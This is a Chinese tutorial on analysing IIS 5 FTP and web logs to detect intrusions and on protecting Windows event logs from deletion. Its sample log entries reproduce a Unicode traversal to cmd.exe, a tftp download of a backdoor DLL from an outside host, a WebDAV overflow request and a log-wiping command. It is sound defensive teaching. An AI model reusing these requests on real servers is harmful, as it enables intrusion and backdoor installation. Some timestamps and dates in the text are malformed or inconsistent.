1．FTP日志分析
　　FTP日志和WWW日志在默认情况下，每天生成一个日志文件，包含了该日的一切记录，文件名通常为ex（年份）（月份）（日期）。例如ex040419，就是2004年4月19日产生的日志，用记事本可直接打开，普通的有入侵行为的日志一般是这样的：
#Software: Microsoft Internet Information Services 5.0（微软IIS5.0）
#Version: 1.0 （版本1.0）
#Date: 20040419 0315 （服务启动时间日期）
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administator 331（IP地址为127.0.0.1用户名为administator试图登录）
0318 127.0.0.1 [1]PASS – 530（登录失败）
032:04 127.0.0.1 [1]USER nt 331（IP地址为127.0.0.1用户名为nt的用户试图登录）
032:06 127.0.0.1 [1]PASS – 530（登录失败）
032:09 127.0.0.1 [1]USER cyz 331（IP地址为127.0.0.1用户名为cyz的用户试图登录）
0322 127.0.0.1 [1]PASS – 530（登录失败）
0322 127.0.0.1 [1]USER administrator 331（IP地址为127.0.0.1用户名为administrator试图登录）
0324 127.0.0.1 [1]PASS – 230（登录成功）
0321 127.0.0.1 [1]MKD nt 550（新建目录失败）
0325 127.0.0.1 [1]QUIT – 550（退出FTP程序）
　　从日志里就能看出IP地址为127.0.0.1的用户一直试图登录系统，换了四次用户名和密码才成功，管理员立即就可以得知这个IP至少有入侵企图！而他的入侵时间、IP地址以及探测的用户名都很清楚的记录在日志上。如上例入侵者最终是用Administrator用户名进入的，那么就要考虑此用户名是不是密码失窃？还是被别人利用？接下来就要想想系统出什么问题了。
　　2．WWW日志分析
　　WWW服务同FTP服务一样，产生的日志也是在%systemroot%\sys tem32\LogFiles\W3SVC1目录下，默认是每天一个日志文件。这里需要特别说明一下，因为Web的日志和其他日志不同，它的分析要细致得多，需要管理员有丰富的入侵、防护知识，并且要足够的细心，不然，很容易遗漏那种很简单的日志，而通常这样的日志又是非常关键的。由于我们不可能一个一个分析，所以这里举个简单例子：
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20040419 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20040419 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20040419 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)

　　通过分析第六行，可以看出2004年5月19日，IP地址为192.168.1.26的用户通过访问IP地址为192.168.1.37机器的80端口，查看了一个页面iisstart.asp，这位用户的浏览器为compatible;+MSIE+5.0;+Windows+98+DigExt，有经验的管理员就可通过安全日志、FTP日志和WWW日志来确定入侵者的IP地址以及入侵时间。
　　对现在非常常见的SQL注入式攻击，通过对put、get的检查，也可以大概判断是那个页面出了问题，从而修补。
3．HTTPD事务日志的分析

　　Microsoft的IIS 5自公布到现在，被黑客利用的漏洞多不胜数，像.ida/.idq、unicode、WebDavx3和一些未知的漏洞，我们分析日志的目的就是为了分析黑客入侵的行为，对于没有打好补丁包的系统被黑客成功入侵的日志记录分别对应如下。为了给大家介绍一个比较醒目的介绍，专门配置了个“古老”的服务器，用旧漏洞给大家做个演示，很容易触类旁通就懂其它了。

　　（1）unicode漏洞入侵日志记录

　　这个是个非常经典的漏洞了，要找这样的服务器估计得去国外慢慢找了，但是因为它的日志是最经典的一个，所以我们这里特别拿它来做个示范。

　　我们打开IIS5的Web服务的日志文件,日志文件默认位置在%systemroot%\system32\LogFiles\文件夹下，如图１所示是一个典型的Unicode漏洞入侵行为的日志记录，对于正常的Web访问，是通过80端口用GET命令获取Web数据，但通过非法的字符编码可绕过字符验证而得到不应该得到的信息。但补上相应的补丁可堵上此漏洞。如图一所示。

　　我们配合入侵来看下这样的记录：通过下面的编码我们在入侵的时候可以查看目标机的目录文件：

GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200

　　则日志中会记录下此访问行为：

2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+dir 200 -

　　看到了吗？我们的日志中记录地一清二楚，来自192.168.0.1的攻击者查看我们的目录。下面一行是向我们的机器传送后门程序的日志记录：

2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:\httpodbc.dll
502 –

　　看到了吧？记录非常详细的，系统里面那个程序在响应都记录了下来，这样我们分析入侵行为就好办了。

　　（2）WebDavx3远程溢出日志记录

　　过去一段时间有名的Wevdavx3漏洞是应用最广泛的，如果系统遭受了此远程溢出的攻击行为，则日志记录如图二所示。

2004-04-19 07:20:13 192.168.0.218 - 192.168.0.218 80 LOCK
/AAAAA……

　　这表示我们的Web服务受到了来自192.168.0.218的攻击，并锁定(即关闭)了WEB服务，后面的一些乱码字符是在溢出攻击时使用的偏移位猜过程。

　　上面的几种日杂都记录了有入侵行为的IP地址，但此IP地址说不定就是攻击者使用了跳板，也就是说此IP很可能是“肉鸡”而不是攻击者的IP，遇到这样的情况，我们再查看其他日志文件，还是有可能追查出攻击者的位置的，但这个就完全靠管理员的经验了。

　　4．日志文件的移位保护

　　通过上面的几个方法，大家应该可以检测普通的系统攻击了，但话说回来，如果上面的攻击任何一个成功了，那现在我们都看不到日志了，早被入侵者清空了，所以，为了防患于未然，我们还是针对常见的删除日志的方法，把日志挪挪吧。

　　好多文章介绍对事件日志移位能做到对系统系统很好的保护，移位虽是一种保护方法，但只要在命令行输入dir c:\*.evt/s，一下就可查找到事件日志位置，再删除可容易了，那怎么办呢？其实日志移位要通过修改注册表来完成，找到注册表HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\ Services\Eventlog下面的Application、Security、System几个子键，分别对应“应用程序日志”、“安全日志”、“系统日志”。如何修改呢？下面我们具体来看看Application子键：File项就是“应用程序日志”文件存放的位置，把此键值改为要存放日志文件的文件夹，我们再把%systemroot%\system32\config\appevent.evt文件拷贝到此文件夹，再重启机器就可以了。

　　在此介绍移位的目的是为了充分利用Windows 2000在NTFS格式下的“安全”属性，如果不移位也无法对文件进行安全设置操作，右击移位后的“文件夹选择属性”，进入“安全”选项卡，不选择“允许将来自父系的可继承权限传播给该对象”，添加“System”组，分别给Everyone组“读取”权限，System组选择除“完全控制”和“修改”的权限。然后再将系统默认的日志文件512KB大小改为你所想要的大小，如20MB。进行了上面的设置后，直接通过Del C:\*.Evt/s/q来删除是删不掉的，相对要安全很多了。